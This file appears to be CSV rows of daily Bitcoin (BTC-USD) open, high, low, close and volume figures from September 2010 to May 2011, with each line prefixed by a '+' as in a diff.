+2010-09-10,0.061110001057386,0.06179999932646701,0.060139998793601004,0.06179999932646701,0.06179999932646701,301,BTC-USD +2010-09-11,0.06179999932646701,0.064999997615814,0.061900001019239,0.063660003244876,0.063660003244876,491,BTC-USD +2010-09-12,0.063660003244876,0.06210000067949201,0.061500001698732,0.061500001698732,0.061500001698732,48,BTC-USD +2010-09-13,0.061500001698732,0.06400000303983601,0.06069999933242701,0.062189999967813006,0.062189999967813006,632,BTC-USD +2010-09-14,0.062189999967813006,0.174999997019767,0.061000000685453006,0.061990000307559,0.061990000307559,876,BTC-USD +2010-09-15,0.061990000307559,0.0625,0.06040000170469201,0.06040000170469201,0.06040000170469201,223,BTC-USD +2010-09-16,0.06040000170469201,0.061900001019239,0.06179999932646701,0.061900001019239,0.061900001019239,45,BTC-USD +2010-09-17,0.061900001019239,0.060899998992681004,0.059000000357627,0.059000000357627,0.059000000357627,438,BTC-USD +2010-09-18,0.059000000357627,0.061000000685453006,0.057610001415014,0.061000000685453006,0.061000000685453006,427,BTC-USD +2010-09-19,0.061000000685453006,0.062700003385543,0.05999999865889501,0.062700003385543,0.062700003385543,797,BTC-USD +2010-09-20,0.062700003385543,0.06340000033378601,0.061999998986721004,0.06210000067949201,0.06210000067949201,891,BTC-USD +2010-09-21,0.06210000067949201,0.063299998641014,0.062300000339746,0.06265000253915701,0.06265000253915701,359,BTC-USD +2010-09-22,0.06265000253915701,0.062399998307228005,0.061469998210668,0.062199998646974,0.062199998646974,717,BTC-USD +2010-09-23,0.062199998646974,0.063000001013278,0.061500001698732,0.062309999018907006,0.062309999018907006,970,BTC-USD +2010-09-24,0.062309999018907006,0.062399998307228005,0.062089998275041004,0.062199998646974,0.062199998646974,42,BTC-USD +2010-09-25,0.062199998646974,0.062399998307228005,0.061700001358985006,0.062020000070333,0.062020000070333,133,BTC-USD +2010-09-26,0.062020000070333,0.062279999256134005,0.06185999885201401,0.061999998986721004,0.061999998986721004,748,BTC-USD +2010-09-27,0.061999998986721004,0.062279999256134005,0.061900001019239,0.062199998646974,0.062199998646974,668,BTC-USD +2010-09-28,0.062199998646974,0.062710002064704,0.061700001358985006,0.061900001019239,0.061900001019239,439,BTC-USD +2010-09-29,0.061900001019239,0.061999998986721004,0.061500001698732,0.061909999698400005,0.061909999698400005,1450,BTC-USD +2010-09-30,0.061909999698400005,0.061900001019239,0.061549998819828006,0.061900001019239,0.061900001019239,488,BTC-USD +2010-10-01,0.061900001019239,0.061999998986721004,0.06188999861478801,0.061969999223947005,0.061969999223947005,106,BTC-USD +2010-10-02,0.061969999223947005,0.061909999698400005,0.06125000119209201,0.061400000005960007,0.061400000005960007,802,BTC-USD +2010-10-03,0.061400000005960007,0.061400000005960007,0.061000000685453006,0.061110001057386,0.061110001057386,439,BTC-USD +2010-10-04,0.061110001057386,0.061999998986721004,0.060809999704360004,0.061299998313188005,0.061299998313188005,2079,BTC-USD +2010-10-05,0.061299998313188005,0.06300999969244,0.060899998992681004,0.061400000005960007,0.061400000005960007,1699,BTC-USD +2010-10-06,0.061400000005960007,0.063500002026557,0.061200000345706,0.062809996306896,0.062809996306896,2091,BTC-USD +2010-10-07,0.062809996306896,0.06700000166893001,0.062799997627735,0.06700000166893001,0.06700000166893001,2812,BTC-USD +2010-10-08,0.06700000166893001,0.08799999952316201,0.009999999776482001,0.08685000240802701,0.08685000240802701,10784,BTC-USD +2010-10-09,0.08685000240802701,0.11999999731779001,0.068000003695487,0.09380000084638501,0.09380000084638501,16104,BTC-USD +2010-10-10,0.09380000084638501,0.1300999969244,0.079989999532699,0.096500001847743,0.096500001847743,4889,BTC-USD +2010-10-11,0.096500001847743,0.10300000011920901,0.09099999815225601,0.09499999880790701,0.09499999880790701,1395,BTC-USD +2010-10-12,0.09499999880790701,0.098999999463558,0.082000002264976,0.09489999711513501,0.09489999711513501,2396,BTC-USD +2010-10-13,0.09489999711513501,0.10499999672174401,0.092000000178813,0.10499999672174401,0.10499999672174401,4558,BTC-USD +2010-10-14,0.10499999672174401,0.104500003159046,0.064999997615814,0.101999998092651,0.101999998092651,3701,BTC-USD +2010-10-15,0.101999998092651,0.11900000274181301,0.092000000178813,0.10499999672174401,0.10499999672174401,2554,BTC-USD +2010-10-16,0.10499999672174401,0.10300000011920901,0.10000000149011601,0.10100000351667401,0.10100000351667401,633,BTC-USD +2010-10-17,0.10100000351667401,0.104500003159046,0.10000000149011601,0.101999998092651,0.101999998092651,1857,BTC-USD +2010-10-18,0.101999998092651,0.10300000011920901,0.097000002861022,0.10239999741315801,0.10239999741315801,2591,BTC-USD +2010-10-19,0.10239999741315801,0.10189999639987901,0.097000002861022,0.097000002861022,0.097000002861022,623,BTC-USD +2010-10-20,0.097000002861022,0.10300000011920901,0.093999996781349,0.098999999463558,0.098999999463558,3221,BTC-USD +2010-10-21,0.098999999463558,0.108999997377395,0.097000002861022,0.10700000077486001,0.10700000077486001,4616,BTC-USD +2010-10-22,0.10700000077486001,0.108999997377395,0.101499997079372,0.10249999910593001,0.10249999910593001,3665,BTC-USD +2010-10-23,0.10249999910593001,0.108999997377395,0.104500003159046,0.10549999773502301,0.10549999773502301,481,BTC-USD +2010-10-24,0.10549999773502301,0.18999999761581401,0.10800000280141801,0.11500000208616201,0.11500000208616201,1560,BTC-USD +2010-10-25,0.11500000208616201,0.18999999761581401,0.09008999913930801,0.131999999284744,0.131999999284744,4450,BTC-USD +2010-10-26,0.131999999284744,0.180000007152557,0.13300000131130202,0.15029999613761902,0.15029999613761902,2995,BTC-USD +2010-10-27,0.15029999613761902,0.18999999761581401,0.150999993085861,0.18770000338554302,0.18770000338554302,11594,BTC-USD +2010-10-28,0.18770000338554302,0.19099999964237202,0.17309999465942302,0.17309999465942302,0.17309999465942302,4009,BTC-USD +2010-10-29,0.17309999465942302,0.18999999761581401,0.172999992966651,0.18999999761581401,0.18999999761581401,5380,BTC-USD +2010-10-30,0.18999999761581401,0.199000000953674,0.1875,0.19889999926090202,0.19889999926090202,5112,BTC-USD +2010-10-31,0.19889999926090202,0.19889999926090202,0.17100000381469702,0.192499995231628,0.192499995231628,7829,BTC-USD +2010-11-01,0.192499995231628,0.19550000131130202,0.17200000584125502,0.19550000131130202,0.19550000131130202,4049,BTC-USD +2010-11-02,0.19550000131130202,0.19499999284744202,0.19050000607967302,0.19380000233650202,0.19380000233650202,1121,BTC-USD +2010-11-03,0.19380000233650202,0.27500000596046403,0.125,0.19310000538825903,0.19310000538825903,11769,BTC-USD +2010-11-04,0.19310000538825903,0.23600000143051103,0.193399995565414,0.23000000417232502,0.23000000417232502,6229,BTC-USD +2010-11-05,0.23000000417232502,0.26390001177787703,0.21009999513626101,0.259999990463256,0.259999990463256,8757,BTC-USD +2010-11-06,0.259999990463256,0.5,0.24019999802112502,0.38999998569488503,0.38999998569488503,9396,BTC-USD +2010-11-07,0.38999998569488503,0.46999999880790705,0.28600001335144004,0.340000003576278,0.340000003576278,27937,BTC-USD +2010-11-08,0.340000003576278,0.370000004768371,0.22609999775886502,0.24300000071525502,0.24300000071525502,38339,BTC-USD +2010-11-09,0.24300000071525502,0.32300001382827703,0.199000000953674,0.20999999344348902,0.20999999344348902,12808,BTC-USD +2010-11-10,0.20999999344348902,0.23999999463558103,0.140000000596046,0.23999999463558103,0.23999999463558103,6110,BTC-USD +2010-11-11,0.23999999463558103,0.23999999463558103,0.20999999344348902,0.223100006580352,0.223100006580352,1111,BTC-USD +2010-11-12,0.223100006580352,0.289999991655349,0.22300000488758,0.26820001006126404,0.26820001006126404,10494,BTC-USD +2010-11-13,0.26820001006126404,0.300000011920928,0.26829999685287403,0.27599999308586104,0.27599999308586104,6351,BTC-USD +2010-11-14,0.27599999308586104,0.298999994993209,0.270200014114379,0.279000014066696,0.279000014066696,4793,BTC-USD +2010-11-15,0.279000014066696,0.28279998898506103,0.26820001006126404,0.26820001006126404,0.26820001006126404,2337,BTC-USD +2010-11-16,0.26820001006126404,0.27500000596046403,0.22300000488758,0.22300000488758,0.22300000488758,8609,BTC-USD +2010-11-17,0.22300000488758,0.289999991655349,0.21160000562667802,0.22990000247955303,0.22990000247955303,8662,BTC-USD +2010-11-18,0.22990000247955303,0.282999992370605,0.22210000455379403,0.267800003290176,0.267800003290176,10253,BTC-USD +2010-11-19,0.267800003290176,0.280000001192092,0.26820001006126404,0.280000001192092,0.280000001192092,583,BTC-USD +2010-11-20,0.280000001192092,0.289999991655349,0.26820001006126404,0.282999992370605,0.282999992370605,4119,BTC-USD +2010-11-21,0.282999992370605,0.282000005245208,0.276300013065338,0.276699990034103,0.276699990034103,212,BTC-USD +2010-11-22,0.276699990034103,0.287900000810623,0.268999993801116,0.287900000810623,0.287900000810623,7818,BTC-USD +2010-11-23,0.287900000810623,0.284500002861022,0.27599999308586104,0.28290000557899403,0.28290000557899403,1361,BTC-USD +2010-11-24,0.28290000557899403,0.282999992370605,0.27610000967979403,0.282999992370605,0.282999992370605,710,BTC-USD +2010-11-25,0.282999992370605,0.28249999880790705,0.277999997138977,0.280000001192092,0.280000001192092,469,BTC-USD +2010-11-26,0.280000001192092,0.289000004529953,0.27610000967979403,0.284399986267089,0.284399986267089,9510,BTC-USD +2010-11-27,0.284399986267089,0.284399986267089,0.28259998559951705,0.282999992370605,0.282999992370605,515,BTC-USD +2010-11-28,0.282999992370605,0.284599989652633,0.270000010728836,0.270000010728836,0.270000010728836,5746,BTC-USD +2010-11-29,0.270000010728836,0.279000014066696,0.21510000526905002,0.22990000247955303,0.22990000247955303,8802,BTC-USD +2010-11-30,0.22990000247955303,0.22990000247955303,0.203999996185302,0.20819999277591703,0.20819999277591703,4570,BTC-USD +2010-12-01,0.20819999277591703,0.22990000247955303,0.20949999988079002,0.22750000655651,0.22750000655651,1752,BTC-USD +2010-12-02,0.22750000655651,0.255299985408782,0.217999994754791,0.25499999523162803,0.25499999523162803,4800,BTC-USD +2010-12-03,0.25499999523162803,0.255199998617172,0.24300000071525502,0.250999987125396,0.250999987125396,633,BTC-USD +2010-12-04,0.250999987125396,0.258899986743927,0.20499999821186002,0.20499999821186002,0.20499999821186002,6673,BTC-USD +2010-12-05,0.20499999821186002,0.23499999940395302,0.18999999761581401,0.18999999761581401,0.18999999761581401,1178,BTC-USD +2010-12-06,0.18999999761581401,0.22499999403953502,0.184100002050399,0.203999996185302,0.203999996185302,863,BTC-USD +2010-12-07,0.203999996185302,0.24770000576972903,0.170100003480911,0.232999995350837,0.232999995350837,5411,BTC-USD +2010-12-08,0.232999995350837,0.23999999463558103,0.21999999880790702,0.23880000412464103,0.23880000412464103,789,BTC-USD +2010-12-09,0.23880000412464103,0.232999995350837,0.170100003480911,0.20000000298023202,0.20000000298023202,4411,BTC-USD +2010-12-10,0.20000000298023202,0.203999996185302,0.18250000476837103,0.203999996185302,0.203999996185302,328,BTC-USD +2010-12-11,0.203999996185302,0.228000000119209,0.190699994564056,0.228000000119209,0.228000000119209,1267,BTC-USD +2010-12-12,0.228000000119209,0.22789999842643702,0.206799998879432,0.21999999880790702,0.21999999880790702,418,BTC-USD +2010-12-13,0.21999999880790702,0.23000000417232502,0.20999999344348902,0.22990000247955303,0.22990000247955303,1425,BTC-USD +2010-12-14,0.22990000247955303,0.24680000543594302,0.20999999344348902,0.24670000374317103,0.24670000374317103,2403,BTC-USD +2010-12-15,0.24670000374317103,0.24600000679492903,0.23800000548362701,0.23800000548362701,0.23800000548362701,901,BTC-USD +2010-12-16,0.23800000548362701,0.25499999523162803,0.22220000624656602,0.25,0.25,3522,BTC-USD +2010-12-17,0.25,0.24899999797344202,0.23999999463558103,0.23999999463558103,0.23999999463558103,130,BTC-USD +2010-12-18,0.23999999463558103,0.24879999458789803,0.24099999666213903,0.24099999666213903,0.24099999666213903,41,BTC-USD +2010-12-19,0.24099999666213903,0.24989999830722803,0.23999999463558103,0.24009999632835302,0.24009999632835302,487,BTC-USD +2010-12-20,0.24009999632835302,0.27500000596046403,0.23999999463558103,0.26699998974800104,0.26699998974800104,2769,BTC-USD +2010-12-21,0.26699998974800104,0.26699998974800104,0.23999999463558103,0.23999999463558103,0.23999999463558103,2291,BTC-USD +2010-12-22,0.23999999463558103,0.25,0.24400000274181302,0.25,0.25,949,BTC-USD +2010-12-23,0.25,0.25,0.24099999666213903,0.25,0.25,2160,BTC-USD +2010-12-24,0.25,0.25,0.241999998688697,0.24799999594688402,0.24799999594688402,1252,BTC-USD +2010-12-25,0.24799999594688402,0.25,0.247500002384185,0.24989999830722803,0.24989999830722803,175,BTC-USD +2010-12-26,0.24989999830722803,0.270000010728836,0.246399998664855,0.26499998569488503,0.26499998569488503,4203,BTC-USD +2010-12-27,0.26499998569488503,0.270000010728836,0.250999987125396,0.26499998569488503,0.26499998569488503,1270,BTC-USD +2010-12-28,0.26499998569488503,0.280999988317489,0.261200010776519,0.280999988317489,0.280999988317489,4238,BTC-USD +2010-12-29,0.280999988317489,0.300999999046325,0.270999997854232,0.300000011920928,0.300000011920928,5363,BTC-USD +2010-12-30,0.300000011920928,0.300000011920928,0.291000008583068,0.300000011920928,0.300000011920928,759,BTC-USD +2010-12-31,0.300000011920928,0.300000011920928,0.291999995708465,0.300000011920928,0.300000011920928,428,BTC-USD +2011-01-01,0.300000011920928,0.300000011920928,0.291999995708465,0.300000011920928,0.300000011920928,841,BTC-USD +2011-01-02,0.300000011920928,0.300000011920928,0.289000004529953,0.300000011920928,0.300000011920928,1584,BTC-USD +2011-01-03,0.300000011920928,0.299899995326995,0.289999991655349,0.29499998688697804,0.29499998688697804,420,BTC-USD +2011-01-04,0.29499998688697804,0.299899995326995,0.289000004529953,0.298900008201599,0.298900008201599,548,BTC-USD +2011-01-05,0.298900008201599,0.298999994993209,0.289999991655349,0.298999994993209,0.298999994993209,106,BTC-USD +2011-01-06,0.298999994993209,0.298999994993209,0.289999991655349,0.298000007867813,0.298000007867813,1031,BTC-USD +2011-01-07,0.298000007867813,0.321999996900558,0.297500014305114,0.319999992847442,0.319999992847442,13152,BTC-USD +2011-01-08,0.319999992847442,0.32289999723434404,0.308999985456466,0.32289999723434404,0.32289999723434404,512,BTC-USD +2011-01-09,0.32289999723434404,0.32300001382827703,0.32289999723434404,0.32300001382827703,0.32300001382827703,546,BTC-USD +2011-01-10,0.32300001382827703,0.328999996185302,0.31749999523162803,0.326599985361099,0.326599985361099,3360,BTC-USD +2011-01-11,0.326599985361099,0.326599985361099,0.317600011825561,0.326599985361099,0.326599985361099,1578,BTC-USD +2011-01-12,0.326599985361099,0.355699986219406,0.317999988794326,0.318800002336502,0.318800002336502,10508,BTC-USD +2011-01-13,0.318800002336502,0.405000001192092,0.317600011825561,0.317600011825561,0.317600011825561,7147,BTC-USD +2011-01-14,0.317600011825561,0.44999998807907104,0.317600011825561,0.40000000596046403,0.40000000596046403,10691,BTC-USD +2011-01-15,0.40000000596046403,0.40000000596046403,0.384999990463256,0.386000007390975,0.386000007390975,591,BTC-USD +2011-01-16,0.386000007390975,0.40000000596046403,0.386000007390975,0.386799991130828,0.386799991130828,1085,BTC-USD +2011-01-17,0.386799991130828,0.386799991130828,0.31499999761581404,0.34950000047683705,0.34950000047683705,6360,BTC-USD +2011-01-18,0.34950000047683705,0.34950000047683705,0.30500000715255704,0.31299999356269803,0.31299999356269803,4950,BTC-USD +2011-01-19,0.31299999356269803,0.31299999356269803,0.30500000715255704,0.31299999356269803,0.31299999356269803,2247,BTC-USD +2011-01-20,0.31299999356269803,0.38999998569488503,0.310000002384185,0.38999998569488503,0.38999998569488503,6900,BTC-USD +2011-01-21,0.38999998569488503,0.43999999761581404,0.368000000715255,0.41990000009536704,0.41990000009536704,3351,BTC-USD +2011-01-22,0.41990000009536704,0.44429999589920005,0.38999998569488503,0.44429999589920005,0.44429999589920005,4513,BTC-USD +2011-01-23,0.44429999589920005,0.44429999589920005,0.41999998688697804,0.44240000844001703,0.44240000844001703,505,BTC-USD +2011-01-24,0.44240000844001703,0.44240000844001703,0.38100001215934703,0.41990000009536704,0.41990000009536704,4516,BTC-USD +2011-01-25,0.41990000009536704,0.425000011920928,0.40000000596046403,0.40999999642372104,0.40999999642372104,901,BTC-USD +2011-01-26,0.40999999642372104,0.41999998688697804,0.390399992465972,0.416999995708465,0.416999995708465,6315,BTC-USD +2011-01-27,0.416999995708465,0.44999998807907104,0.40849998593330306,0.42120000720024103,0.42120000720024103,12086,BTC-USD +2011-01-28,0.42120000720024103,0.446000009775161,0.42120000720024103,0.446000009775161,0.446000009775161,2301,BTC-USD +2011-01-29,0.446000009775161,0.444999992847442,0.43000000715255704,0.43900001049041704,0.43900001049041704,643,BTC-USD +2011-01-30,0.43900001049041704,0.47999998927116305,0.444999992847442,0.47990000247955306,0.47990000247955306,4775,BTC-USD +2011-01-31,0.47990000247955306,0.949999988079071,0.46999999880790705,0.519999980926513,0.519999980926513,32708,BTC-USD +2011-02-01,0.519999980926513,0.850000023841857,0.520099997520446,0.699999988079071,0.699999988079071,23264,BTC-USD +2011-02-02,0.699999988079071,0.7599999904632561,0.6899999976158141,0.716000020503997,0.716000020503997,4126,BTC-USD +2011-02-03,0.716000020503997,0.75,0.6500999927520751,0.6899999976158141,0.6899999976158141,6064,BTC-USD +2011-02-04,0.6899999976158141,0.8799999952316281,0.6700000166893001,0.8109999895095821,0.8109999895095821,33965,BTC-USD +2011-02-05,0.8109999895095821,0.9200000166893001,0.811500012874603,0.9200000166893001,0.9200000166893001,13634,BTC-USD +2011-02-06,0.9200000166893001,0.9200000166893001,0.829999983310699,0.8996999859809871,0.8996999859809871,7608,BTC-USD +2011-02-07,0.8996999859809871,0.8999999761581421,0.829999983310699,0.889999985694885,0.889999985694885,1949,BTC-USD +2011-02-08,0.889999985694885,0.9179999828338621,0.8616999983787531,0.9179999828338621,0.9179999828338621,6306,BTC-USD +2011-02-09,0.9179999828338621,1.090000033378601,0.8199999928474421,1.090000033378601,1.090000033378601,47455,BTC-USD +2011-02-10,1.090000033378601,1.100000023841858,0.8000000119209291,0.9803000092506401,0.9803000092506401,25568,BTC-USD +2011-02-11,0.9803000092506401,1.090000033378601,0.9264000058174131,1.070000052452087,1.070000052452087,13213,BTC-USD +2011-02-12,1.070000052452087,1.080000042915344,0.990599989891052,1.080000042915344,1.080000042915344,4353,BTC-USD +2011-02-13,1.080000042915344,1.080000042915344,1.019999980926513,1.049999952316284,1.049999952316284,3398,BTC-USD +2011-02-14,1.049999952316284,1.080000042915344,1.02999997138977,1.070000052452087,1.070000052452087,7532,BTC-USD +2011-02-15,1.070000052452087,1.090000033378601,1.02999997138977,1.049999952316284,1.049999952316284,9085,BTC-USD +2011-02-16,1.049999952316284,1.049999952316284,1.019999980926513,1.049999952316284,1.049999952316284,7465,BTC-USD +2011-02-17,1.049999952316284,1.049999952316284,1.019999980926513,1.039999961853027,1.039999961853027,4184,BTC-USD +2011-02-18,1.039999961853027,1.039999961853027,0.7800999879837031,0.898899972438812,0.898899972438812,32719,BTC-USD +2011-02-19,0.898899972438812,0.9800000190734861,0.8375999927520751,0.9490000009536741,0.9490000009536741,3454,BTC-USD +2011-02-20,0.9490000009536741,0.9490000009536741,0.829999983310699,0.850000023841857,0.850000023841857,8503,BTC-USD +2011-02-21,0.850000023841857,0.8795999884605401,0.8313000202178951,0.834500014781951,0.834500014781951,1435,BTC-USD +2011-02-22,0.834500014781951,0.949999988079071,0.8313000202178951,0.870199978351593,0.870199978351593,10650,BTC-USD +2011-02-23,0.870199978351593,0.9449999928474421,0.8680999875068661,0.8999999761581421,0.8999999761581421,6057,BTC-USD +2011-02-24,0.8999999761581421,1.0,0.8999999761581421,0.9973999857902521,0.9973999857902521,12708,BTC-USD +2011-02-25,0.9973999857902521,0.9998000264167781,0.9110999703407281,0.9110999703407281,0.9110999703407281,4276,BTC-USD +2011-02-26,0.9110999703407281,0.970000028610229,0.9106000065803521,0.9580000042915341,0.9580000042915341,4452,BTC-USD +2011-02-27,0.9580000042915341,0.9580000042915341,0.889999985694885,0.889999985694885,0.889999985694885,21576,BTC-USD +2011-02-28,0.889999985694885,0.9200000166893001,0.845000028610229,0.8600000143051141,0.8600000143051141,4108,BTC-USD +2011-03-01,0.8600000143051141,0.970000028610229,0.850199997425079,0.9201999902725221,0.9201999902725221,21413,BTC-USD +2011-03-02,0.9201999902725221,0.9399999976158141,0.910199999809265,0.9398999810218811,0.9398999810218811,2533,BTC-USD +2011-03-03,0.9398999810218811,0.9398999810218811,0.910000026226043,0.93910002708435,0.93910002708435,2520,BTC-USD +2011-03-04,0.93910002708435,0.93910002708435,0.9000999927520751,0.901000022888183,0.901000022888183,2469,BTC-USD +2011-03-05,0.901000022888183,0.91890001296997,0.8111000061035151,0.910300016403198,0.910300016403198,11115,BTC-USD +2011-03-06,0.910300016403198,0.909799993038177,0.810000002384185,0.8999000191688531,0.8999000191688531,10775,BTC-USD +2011-03-07,0.8999000191688531,0.9089999794960021,0.8460000157356261,0.8849999904632561,0.8849999904632561,13527,BTC-USD +2011-03-08,0.8849999904632561,0.8849999904632561,0.850000023841857,0.870000004768371,0.870000004768371,3931,BTC-USD +2011-03-09,0.870000004768371,0.870000004768371,0.850000023841857,0.8644999861717221,0.8644999861717221,3881,BTC-USD +2011-03-10,0.8644999861717221,0.9329000115394591,0.849699974060058,0.9329000115394591,0.9329000115394591,7895,BTC-USD +2011-03-11,0.9329000115394591,0.9250000119209291,0.8600999712944031,0.8799999952316281,0.8799999952316281,3301,BTC-USD +2011-03-12,0.8799999952316281,0.9197000265121461,0.8799999952316281,0.9179999828338621,0.9179999828338621,4319,BTC-USD +2011-03-13,0.9179999828338621,0.9179999828338621,0.889800012111663,0.892499983310699,0.892499983310699,595,BTC-USD +2011-03-14,0.892499983310699,0.8999999761581421,0.8799999952316281,0.8949000239372251,0.8949000239372251,4676,BTC-USD +2011-03-15,0.8949000239372251,0.8949000239372251,0.870000004768371,0.870000004768371,0.870000004768371,2405,BTC-USD +2011-03-16,0.870000004768371,0.8799999952316281,0.836000025272369,0.8600000143051141,0.8600000143051141,6761,BTC-USD +2011-03-17,0.8600000143051141,0.8799999952316281,0.810000002384185,0.825399994850158,0.825399994850158,6042,BTC-USD +2011-03-18,0.825399994850158,0.8506000041961671,0.7099999785423271,0.816500008106231,0.816500008106231,10971,BTC-USD +2011-03-19,0.816500008106231,0.7969999909400941,0.731299996376037,0.764999985694885,0.764999985694885,7457,BTC-USD +2011-03-20,0.764999985694885,0.790000021457672,0.740199983119964,0.7411000132560731,0.7411000132560731,4502,BTC-USD +2011-03-21,0.7411000132560731,0.7724000215530391,0.740499973297119,0.7590000033378601,0.7590000033378601,2780,BTC-USD +2011-03-22,0.7590000033378601,0.810000002384185,0.740499973297119,0.8090000152587891,0.8090000152587891,9499,BTC-USD +2011-03-23,0.8090000152587891,0.850000023841857,0.7799999713897701,0.849699974060058,0.849699974060058,11029,BTC-USD +2011-03-24,0.849699974060058,0.8999999761581421,0.8266000151634211,0.8669000267982481,0.8669000267982481,12259,BTC-USD +2011-03-25,0.8669000267982481,0.889999985694885,0.861000001430511,0.8838000297546381,0.8838000297546381,4225,BTC-USD +2011-03-26,0.8838000297546381,0.9049999713897701,0.841000020503997,0.8551999926567071,0.8551999926567071,10250,BTC-USD +2011-03-27,0.8551999926567071,0.872099995613098,0.8151999711990351,0.8199999928474421,0.8199999928474421,4439,BTC-USD +2011-03-28,0.8199999928474421,0.850000023841857,0.7599999904632561,0.7990000247955321,0.7990000247955321,10141,BTC-USD +2011-03-29,0.7990000247955321,0.7997000217437741,0.764800012111663,0.7925000190734861,0.7925000190734861,3312,BTC-USD +2011-03-30,0.7925000190734861,0.7950000166893001,0.7659999728202821,0.789699971675872,0.789699971675872,2532,BTC-USD +2011-03-31,0.789699971675872,0.800999999046325,0.7680000066757201,0.784600019454956,0.784600019454956,5429,BTC-USD +2011-04-01,0.784600019454956,0.7969999909400941,0.774100005626678,0.774100005626678,0.774100005626678,2483,BTC-USD +2011-04-02,0.774100005626678,0.7997999787330621,0.774100005626678,0.7820000052452081,0.7820000052452081,1965,BTC-USD +2011-04-03,0.7820000052452081,0.7949000000953671,0.7770000100135801,0.7789999842643731,0.7789999842643731,3074,BTC-USD +2011-04-04,0.7789999842643731,0.785000026226043,0.56190001964569,0.680000007152557,0.680000007152557,21652,BTC-USD +2011-04-05,0.680000007152557,0.7477999925613401,0.579999983310699,0.7099999785423271,0.7099999785423271,6522,BTC-USD +2011-04-06,0.7099999785423271,0.75,0.6901999711990351,0.740000009536743,0.740000009536743,6264,BTC-USD +2011-04-07,0.740000009536743,0.78490000963211,0.720499992370605,0.753799974918365,0.753799974918365,8178,BTC-USD +2011-04-08,0.753799974918365,0.7990000247955321,0.73089998960495,0.75,0.75,13854,BTC-USD +2011-04-09,0.75,0.767599999904632,0.720499992370605,0.7300000190734861,0.7300000190734861,8940,BTC-USD +2011-04-10,0.7300000190734861,0.7588999867439271,0.7099999785423271,0.7368999719619751,0.7368999719619751,3946,BTC-USD +2011-04-11,0.7368999719619751,0.7990000247955321,0.7103000283241271,0.769999980926513,0.769999980926513,11255,BTC-USD +2011-04-12,0.769999980926513,0.898999989032745,0.7702999711036681,0.8600000143051141,0.8600000143051141,41333,BTC-USD +2011-04-13,0.8600000143051141,1.0,0.8600000143051141,0.9225000143051141,0.9225000143051141,40467,BTC-USD +2011-04-14,0.9225000143051141,1.0,0.910000026226043,1.0,1.0,29643,BTC-USD +2011-04-15,1.0,1.090000033378601,0.9110000133514401,0.9898999929428101,0.9898999929428101,50488,BTC-USD +2011-04-16,0.9898999929428101,1.100000023841858,0.9541000127792351,1.049999952316284,1.049999952316284,30097,BTC-USD +2011-04-17,1.049999952316284,1.139999985694885,1.02999997138977,1.110000014305114,1.110000014305114,26085,BTC-USD +2011-04-18,1.110000014305114,1.200000047683715,1.110000014305114,1.159999966621399,1.159999966621399,31552,BTC-USD +2011-04-19,1.159999966621399,1.200000047683715,1.139999985694885,1.200000047683715,1.200000047683715,14782,BTC-USD +2011-04-20,1.200000047683715,1.200000047683715,1.129999995231628,1.139999985694885,1.139999985694885,24691,BTC-USD +2011-04-21,1.139999985694885,1.210000038146972,1.139999985694885,1.210000038146972,1.210000038146972,46345,BTC-USD +2011-04-22,1.210000038146972,1.409999966621399,1.190000057220459,1.409999966621399,1.409999966621399,50929,BTC-USD +2011-04-23,1.409999966621399,1.950000047683715,1.320000052452087,1.700000047683715,1.700000047683715,103242,BTC-USD +2011-04-24,1.700000047683715,1.950000047683715,1.600000023841858,1.629999995231628,1.629999995231628,36076,BTC-USD +2011-04-25,1.629999995231628,1.700000047683715,1.519999980926513,1.559999942779541,1.559999942779541,21226,BTC-USD +2011-04-26,1.559999942779541,1.789999961853027,1.52999997138977,1.789999961853027,1.789999961853027,40211,BTC-USD +2011-04-27,1.789999961853027,1.950000047683715,1.720000028610229,1.899999976158142,1.899999976158142,62403,BTC-USD +2011-04-28,1.899999976158142,2.650000095367431,1.659999966621399,2.210000038146972,2.210000038146972,203392,BTC-USD +2011-04-29,2.210000038146972,2.950000047683716,2.210000038146972,2.880000114440918,2.880000114440918,148954,BTC-USD +2011-04-30,2.880000114440918,4.150000095367432,2.75,3.5,3.5,214977,BTC-USD +2011-05-01,3.5,3.869999885559082,2.5,3.02999997138977,3.02999997138977,143521,BTC-USD +2011-05-02,3.02999997138977,3.5,3.02999997138977,3.200000047683716,3.200000047683716,59421,BTC-USD +2011-05-03,3.200000047683716,3.490000009536743,3.109999895095825,3.410000085830688,3.410000085830688,56187,BTC-USD +2011-05-04,3.410000085830688,3.579999923706054,3.25,3.410000085830688,3.410000085830688,59434,BTC-USD +2011-05-05,3.410000085830688,3.450000047683716,3.329999923706054,3.329999923706054,3.329999923706054,52331,BTC-USD +2011-05-06,3.329999923706054,3.609999895095825,3.289999961853027,3.450000047683716,3.450000047683716,80063,BTC-USD +2011-05-07,3.450000047683716,3.700000047683716,3.430000066757202,3.640000104904175,3.640000104904175,64359,BTC-USD +2011-05-08,3.640000104904175,3.940000057220459,3.630000114440918,3.869999885559082,3.869999885559082,79620,BTC-USD +2011-05-09,3.869999885559082,3.900000095367431,3.690000057220459,3.799999952316284,3.799999952316284,43805,BTC-USD +2011-05-10,3.799999952316284,5.989999771118164,3.809999942779541,5.809999942779541,5.809999942779541,266466,BTC-USD +2011-05-11,5.809999942779541,6.070000171661377,4.599999904632568,5.5,5.5,281496,BTC-USD +2011-05-12,5.5,6.489999771118164,5.21999979019165,6.300000190734863,6.300000190734863,184839,BTC-USD +2011-05-13,6.300000190734863,8.449999809265137,6.320000171661377,8.199999809265137,8.199999809265137,478840,BTC-USD +2011-05-14,8.199999809265137,8.899999618530273,5.829999923706055,7.199999809265137,7.199999809265137,435571,BTC-USD +2011-05-15,7.199999809265137,7.78000020980835,6.199999809265137,6.989999771118164,6.989999771118164,123255,BTC-USD +2011-05-16,6.989999771118164,8.5,6.75,8.029999732971191,8.029999732971191,343050,BTC-USD +2011-05-17,8.029999732971191,8.390000343322754,6.980000019073486,7.190000057220459,7.190000057220459,265868,BTC-USD +2011-05-18,7.190000057220459,7.5,6.599999904632568,6.880000114440918,6.880000114440918,181331,BTC-USD +2011-05-19,6.880000114440918,7.340000152587891,6.610000133514404,6.809999942779541,6.809999942779541,170134,BTC-USD +2011-05-20,6.809999942779541,7.099999904632568,5.579999923706055,5.590000152587891,5.590000152587891,278992,BTC-USD +2011-05-21,5.590000152587891,6.519999980926514,5.579999923706055,6.119999885559082,6.119999885559082,185640,BTC-USD +2011-05-22,6.119999885559082,6.760000228881836,5.989999771118164,6.690000057220459,6.690000057220459,154432,BTC-USD +2011-05-23,6.690000057220459,7.449999809265137,6.690000057220459,7.150000095367432,7.150000095367432,250601,BTC-USD 